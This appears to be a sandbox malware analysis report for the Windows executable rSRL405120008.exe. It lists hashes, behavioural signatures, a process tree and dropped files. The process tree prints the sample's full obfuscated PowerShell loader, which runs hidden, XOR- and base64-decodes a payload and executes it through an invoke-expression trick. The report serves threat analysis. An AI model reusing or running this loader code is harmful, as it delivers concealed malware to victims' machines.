Analysis
- max time kernel
149s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/07/2026, 02:05
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
rSRL405120008.exe
Resource
win10v2004-20260513-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
rSRL405120008.exe
Resource
win11ltsc2024-20260709-en
5 signatures
150 seconds
General
- Target rSRL405120008.exe
- Size 2.2MB
- Sample260710-ch7xmac15x
- SHA256 1b582f86043113376d91e7e699e0c7b9b62dce358a77a1ae0c7cd6f0d219a7d2
- MD5 850aaae69590cd576a589cef35768fce
- SHA1 bc370d703a16fff1f376c2dd972bd7aa91f287b5
- SHA512 ee0a54f4248a5e7b85908079bbe908f90aa17ccd5a287074aafea4a18f14195a3793e4195c900613c182f3de8061563e9c51471c5aeb0ed52005309b34e33b54
- SSDEEP 24576:kKi8lKKKKKKKKKKKKKKK2TnXEif/8stHVf/8stHvvMM8bVc8CKkVwU2yAXscvVo6:Hi8lKKKKKKKKKKKKKKKP
- TLSH T1C9B59832E6025FC2E72F57345D756F80D7CE26E7D43006AB921E773AE9E81A4881319E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 4436 powershell.exe 3 4436 powershell.exe 4 4436 powershell.exe 5 4436 powershell.exe 5 4436 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2840 powershell.exe 4436 powershell.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2840 powershell.exe 2840 powershell.exe 4436 powershell.exe 4436 powershell.exe 4436 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2840 powershell.exe Token: SeDebugPrivilege 4436 powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4420 wrote to memory of 792 4420 rSRL405120008.exe 86 PID 792 wrote to memory of 2840 792 cmd.exe 88 PID 2840 wrote to memory of 4436 2840 powershell.exe 89 PID 4436 wrote to memory of 2088 4436 powershell.exe 91 PID 2088 wrote to memory of 4896 2088 csc.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\rSRL405120008.exe"C:\Users\Admin\AppData\Local\Temp\rSRL405120008.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4420 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6f16b86d-803e-452b-8183-8dc6396caf40.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:792 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=46-98;$w1mabY=''1nR6YA4gYx'';$mOnV08W6g=''96ceabe89299eae0a0befea188bcdeb8fbae9cbcffb7d8affee1c58396a6b5979dee8582fda8a3bdf2aa8cd19285ffaa96a0c6fec2cf9688ebbf9aa6e2948af38784fda29ff2a6e4a3d2969fb09e96b1eeb691e88abbeca287bdf8ab94c88a9bfb90c9e8cfa88badc1e694e991e4aff9dff8aba5eeaf9eb1fc91cbf0898fd99b879de286c9ffc187eb978a90cfa1a0d2c3b1c9fd8687f69295feb4bdf4a9b4beeda692ef9488d69b9ab0dca892d5b4a5ed94ab9ce18dbede9cb2c9f8c3b0a9f5b0c5abb9f2a8c090aa9d95e483b2e78f89b6dc82c8fda4a6f99cab9ce19eafad9a89d6a69486dcfd90c6b6ade4aec184ef9d95e4c6a0d987c6b6dc929ac4a0a9f086aba6d9a7cbd29f89c98780b7c88697cca6ade4aec184ef9d95e4c6a7f5a99fb6de92ccc6a4a5afa9b4beee9ec8da8988ac9b878bf6bccdd7b080a984b4bef68fbffb94a2cafc86b6ccbc8bd7ab9fa784bb98f7a0b0ca8a89f78fb1b1d386bdfec1daf6aca4e6ee95cbca8a88f39b86b6de968efea4adeeaf9ae7d6a6cada98a0d9ae839da8f5c1bbfee1dfa997ffcfbd88f9d3c6cab483b7dfa19ef59d82eaa49cbcbbeca3c89693eae3b6bcf8ab9cf59d8cc3f7c987cf82c0b2b48eea9e87a0f2aa9fb4a8a8f1a385b7e9b0a5a6c9adeca29e90fab79daac7b8eabf9abcfcecdcfec5dfb7e4dadf91a28df2909ff7a29df2ffecdcf0da90babace9cfeb3d5d39181fbae87f2d5a18cb2a48efc8e9fbbfeaa8ca7dbacfbb9de80faaa9cf39ecbbaa1d3ffd8ab8df287cbbaa1dd91f4b196e8da97bbb687a0e2bf8af9879eeca3d3f6eceabcf38485f2a292b6dfa58cfddbcfc1e48eb1fab09bf48896e3b0fed8fdb196ff8782f1a3d3bbb3e099b0d79fb2e99efebfb4c5dcdbc2b7b6d7aba69fa8f49285eaa29e95fab09dc1c9d1d2a292b6dab78bf99e89f2b4dbf6'';$xLUsU1Z3=''BRI8R14pRUsiagFPUxp8cRIaJVFbQCM8IlIUXmBjBVZiQyFxEBIoWRkAIw0xMDMcS0gQdmIXZHsFGihASBNcMWlyDVdvWQ1UaU1OfQ9WZUMDfWsCa2c8FVxYBlduACBaDlxcWAZXbgAgRxVTeEQHF04Nf2AAXG9IQxIuWCh7XFtqBUUfaU1FZzJGbVkNWC4YV1UCRmVbBU9oEVEuW3F+SAVPYipiZxVTYk4BEyMxJWlaFmIDLVVxDGdxSRZjAUBLLh4BHmw4KEZZey9LK3wVRnwXSxRsGW11T1FjAx5aKFIifhFVKwRIEyALeGARQTYCSwo3VCIlVgEiH0MbLEMrJlYcNRRLUmoEIyVPWHxKQxIubgZ9BxokCQMGY0Mof0gfbUMAEyMXMU81V3RZSn5pAGNwCFxrcF4BUjdKLE91aVk3T3UKYnNJFmsETRZqAnh3CRUwETdvRkQsP0EVXnlaBS9NJitIDjBoKn85XSs9Gj8GDUQfYARqNFwSK1kcTykFYVUAQF9MSwwoWzg6VQA+A10VMVI+O04Ia14CUGAFZHISVH9JQxs8QyhzBlQsEEQfYARqOjJHbl4QSW4NazxRHiwJA1xhTUBxD1V4RUQWJ1I+PWw4KEFEBidEPDNBCQEnRBsnQ2U0SWlPQgpNYhF4SVsISl8LVkUCf3FXBl9ZFlJpBCQwLFN4TgxedDg9SUgbLAoJQncRY3MTU2EDLFRqBmlnRhIrXxFVdBArNCEaKEoDXStDKHhNEisKSBsgLn92FFtgSUMXJ0Q8M0EeLAocDTNEJRlrEiwNRHxiFyFEE11vSBdIexBjZhUST30xGyoHaWcCTn9ICF5kFyw5B1t+XhAbMh9qYEF8bUABF0QzWTQcPwYgbhsnQyw0QRIsDUQ='';$c5KYar1=0x863F-0x2B9F;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0xAA)};$znMJz9w=$vTFBGDUM;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0x55)};$dij2csBYA=$vTFBGDUM;$vTFBGDUMoldR='''';$i=0;for($j=0;$j-lt$mOnV08W6g.Length;$j+=2){$vTFBGDUMoldR+=[char](([Convert]::ToInt32($mOnV08W6g.Substring($j,2),16))-bxor$znMJz9w[$i++%$znMJz9w.Length])};$eveL4ucI=$vTFBGDUMoldR;$vTFBGDUMoldB=[Convert]::FromBase64String([regex]::Replace($xLUsU1Z3, ''$vTFBGDUM'', ''''));$vTFBGDUMoldR='''';$i=0;for($j=0;$j-lt$vTFBGDUMoldB.Length;$j++){$vTFBGDUMoldR+=[char]($vTFBGDUMoldB[$j]-bxor$dij2csBYA[$i++%$dij2csBYA.Length])};$sku2LCA5=$vTFBGDUMoldR;$gxSj2u=$eveL4ucI+$sku2LCA5;.($env:ComSpec[4,26,25]-join'''') $gxSj2u"'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=46-98;$w1mabY='1nR6YA4gYx';$mOnV08W6g='96ceabe89299eae0a0befea188bcdeb8fbae9cbcffb7d8affee1c58396a6b5979dee8582fda8a3bdf2aa8cd19285ffaa96a0c6fec2cf9688ebbf9aa6e2948af38784fda29ff2a6e4a3d2969fb09e96b1eeb691e88abbeca287bdf8ab94c88a9bfb90c9e8cfa88badc1e694e991e4aff9dff8aba5eeaf9eb1fc91cbf0898fd99b879de286c9ffc187eb978a90cfa1a0d2c3b1c9fd8687f69295feb4bdf4a9b4beeda692ef9488d69b9ab0dca892d5b4a5ed94ab9ce18dbede9cb2c9f8c3b0a9f5b0c5abb9f2a8c090aa9d95e483b2e78f89b6dc82c8fda4a6f99cab9ce19eafad9a89d6a69486dcfd90c6b6ade4aec184ef9d95e4c6a0d987c6b6dc929ac4a0a9f086aba6d9a7cbd29f89c98780b7c88697cca6ade4aec184ef9d95e4c6a7f5a99fb6de92ccc6a4a5afa9b4beee9ec8da8988ac9b878bf6bccdd7b080a984b4bef68fbffb94a2cafc86b6ccbc8bd7ab9fa784bb98f7a0b0ca8a89f78fb1b1d386bdfec1daf6aca4e6ee95cbca8a88f39b86b6de968efea4adeeaf9ae7d6a6cada98a0d9ae839da8f5c1bbfee1dfa997ffcfbd88f9d3c6cab483b7dfa19ef59d82eaa49cbcbbeca3c89693eae3b6bcf8ab9cf59d8cc3f7c987cf82c0b2b48eea9e87a0f2aa9fb4a8a8f1a385b7e9b0a5a6c9adeca29e90fab79daac7b8eabf9abcfcecdcfec5dfb7e4dadf91a28df2909ff7a29df2ffecdcf0da90babace9cfeb3d5d39181fbae87f2d5a18cb2a48efc8e9fbbfeaa8ca7dbacfbb9de80faaa9cf39ecbbaa1d3ffd8ab8df287cbbaa1dd91f4b196e8da97bbb687a0e2bf8af9879eeca3d3f6eceabcf38485f2a292b6dfa58cfddbcfc1e48eb1fab09bf48896e3b0fed8fdb196ff8782f1a3d3bbb3e099b0d79fb2e99efebfb4c5dcdbc2b7b6d7aba69fa8f49285eaa29e95fab09dc1c9d1d2a292b6dab78bf99e89f2b4dbf6';$xLUsU1Z3='BRI8R14pRUsiagFPUxp8cRIaJVFbQCM8IlIUXmBjBVZiQyFxEBIoWRkAIw0xMDMcS0gQdmIXZHsFGihASBNcMWlyDVdvWQ1UaU1OfQ9WZUMDfWsCa2c8FVxYBlduACBaDlxcWAZXbgAgRxVTeEQHF04Nf2AAXG9IQxIuWCh7XFtqBUUfaU1FZzJGbVkNWC4YV1UCRmVbBU9oEVEuW3F+SAVPYipiZxVTYk4BEyMxJWlaFmIDLVVxDGdxSRZjAUBLLh4BHmw4KEZZey9LK3wVRnwXSxRsGW11T1FjAx5aKFIifhFVKwRIEyALeGARQTYCSwo3VCIlVgEiH0MbLEMrJlYcNRRLUmoEIyVPWHxKQxIubgZ9BxokCQMGY0Mof0gfbUMAEyMXMU81V3RZSn5pAGNwCFxrcF4BUjdKLE91aVk3T3UKYnNJFmsETRZqAnh3CRUwETdvRkQsP0EVXnlaBS9NJitIDjBoKn85XSs9Gj8GDUQfYARqNFwSK1kcTykFYVUAQF9MSwwoWzg6VQA+A10VMVI+O04Ia14CUGAFZHISVH9JQxs8QyhzBlQsEEQfYARqOjJHbl4QSW4NazxRHiwJA1xhTUBxD1V4RUQWJ1I+PWw4KEFEBidEPDNBCQEnRBsnQ2U0SWlPQgpNYhF4SVsISl8LVkUCf3FXBl9ZFlJpBCQwLFN4TgxedDg9SUgbLAoJQncRY3MTU2EDLFRqBmlnRhIrXxFVdBArNCEaKEoDXStDKHhNEisKSBsgLn92FFtgSUMXJ0Q8M0EeLAocDTNEJRlrEiwNRHxiFyFEE11vSBdIexBjZhUST30xGyoHaWcCTn9ICF5kFyw5B1t+XhAbMh9qYEF8bUABF0QzWTQcPwYgbhsnQyw0QRIsDUQ=';$c5KYar1=0x863F-0x2B9F;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0xAA)};$znMJz9w=$vTFBGDUM;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0x55)};$dij2csBYA=$vTFBGDUM;$vTFBGDUMoldR='';$i=0;for($j=0;$j-lt$mOnV08W6g.Length;$j+=2){$vTFBGDUMoldR+=[char](([Convert]::ToInt32($mOnV08W6g.Substring($j,2),16))-bxor$znMJz9w[$i++%$znMJz9w.Length])};$eveL4ucI=$vTFBGDUMoldR;$vTFBGDUMoldB=[Convert]::FromBase64String([regex]::Replace($xLUsU1Z3, '$vTFBGDUM', ''));$vTFBGDUMoldR='';$i=0;for($j=0;$j-lt$vTFBGDUMoldB.Length;$j++){$vTFBGDUMoldR+=[char]($vTFBGDUMoldB[$j]-bxor$dij2csBYA[$i++%$dij2csBYA.Length])};$sku2LCA5=$vTFBGDUMoldR;$gxSj2u=$eveL4ucI+$sku2LCA5;.($env:ComSpec[4,26,25]-join'') $gxSj2u4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4436 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.cmdline"5⤵
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA66.tmp" "c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\CSCFD52CD7EA9AD4956AA56566DE6C7F.TMP"6⤵PID:4896
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
- MD5 9db254dd0cf5e2b1153ff5cde0ed8885
- SHA1 de97945a57babdd2498693fbb2b3d8bc548da209
- SHA512 a86e71b1b09215d626067d2fab0d7111a5718937c4097b826e77402d32aa3bf64d73a8886104f7b0ae434dcafb9abab4d04d2c053cb65510d611c069d04f7011
- TLSH T19A115733B3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F59ADE61260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\6f16b86d-803e-452b-8183-8dc6396caf40.bat
- Size 7KB
- SHA256 e62ec42565f06678527af0e3bf9eeaaa0b81fb2445894a88dc511b8b045b9b25
- MD5 73a8e6a77986782941aa43d2fe17d5c5
- SHA1 2fc117e8cc423df3dc29e29c94ee11a0d3e1973e
- SHA512 5f7927ee9080daf5900b5c8b1a7c29044cda33d8c5949bf35f7071040b2297344173294ebccdeb0c00531a5b4c869aea2237b56be662055eb8260b1de3e7f0b5
- SSDEEP 96:M8X0ZTsqy1n+PEfNzotG1g5CQyZcOY1E/hSo10UCzqyl7e4p8e4iPdSps/:M8k78UvtvaFFhSM0fp8qFwm
- TLSH T146E1C8F0F1AFA489A363D79A7AE2D4D760A7D7434D47E66870EC54084B8173C72BC81A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RESA66.tmp
- Size 1KB
- SHA256 a73b4360112ea24de3c580ff0017187dcf9176f653097b2ad62fbe94a026f31e
- MD5 e20682b71950082553ca61e1db04c0d5
- SHA1 986ba130392d8ff289dcc8a0be786ab662d8d1fb
- SHA512 1441b1d6985630217792840ba4ee0494c7f31002318a7d8bc81d68e8ecba014ec4269530e21066303dd3b043e11de3b86cce6aa747dba2c2458ef39040ea64f4
- TLSH T1CB21A60493E9871EF073573269FA575BA234FDA5AFA2935A8400422C2C01208EEE0A72
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.dll
- Size 3KB
- SHA256 ff9801526e1c0f39b5751297765d6270d2de99c207c2a72ee090f2d0afbf6c8a
- MD5 c80c7fc7c4234f93e26aca7b8f9f9d98
- SHA1 35bf79f34ceb5899fc91a79b838bc25cd20e8ccd
- SHA512 7e362ead902e3b9ff245adeb42af32074909be55dcef95ad6a53fbf2281877f312b35f403130d8e7f633473396800d653199e30f7b74897936a9900fc7ec474a
- TLSH T18051ED0A53E8472BF4B70B357EE783572774F921AB62535948804268AC213605E32FB5
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\CSCFD52CD7EA9AD4956AA56566DE6C7F.TMP
- Size 652B
- SHA256 b7bbc05ea4a485b4449d4e9ee074494f3aefb3b74fd665aa651f0307c0a4e7dc
- MD5 00e1ca4c9e0a2706b464291f036fca01
- SHA1 7d672538309f93933bcbef2c09261d674225e955
- SHA512 c3e24c2ee772bece3316984ff38aad5211ca4de5e4559e5bc8bb47b35dd21518b454d85838280fd714b10c32653ea91db942556bec4269fd32714412e829867b
- TLSH T1C1F05E0963F8420EF1F35B30BDF643A395A9BC65DE7293ED5440031928645108962FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.0.cs
- Size 213B
- SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
- MD5 6374b49aff3c4650502cc98d2b5add86
- SHA1 bf20312cab670cc9a7a981ffb873172198daa843
- SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
- TLSH T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\bvqi0ulu\bvqi0ulu.cmdline
- Size 369B
- SHA256 f18177d4d261f1a9d40d2a1b897c35149a143bf4b36e1ae3f1ed2bbf6fa8a387
- MD5 002a6c9c91c5d3c11977ca15ec143286
- SHA1 8d8a1bfc39208491dfec4166fc78700dc91b9f15
- SHA512 888c7aa0cfcddbbf8631a41d19535a49ada91ab34f4ad4be1b9f06bfd12db10a1a0ad3067b25242e199a69c8be329d2333e6c3c92e000b4787ea4e2b0dc1923d
- TLSH T118E0C02B4247CA7E11FD102F3169D4ACC2721B9339417FCC9840C44DF23701067D1791
- MD5 SHA1 SHA512 TLSH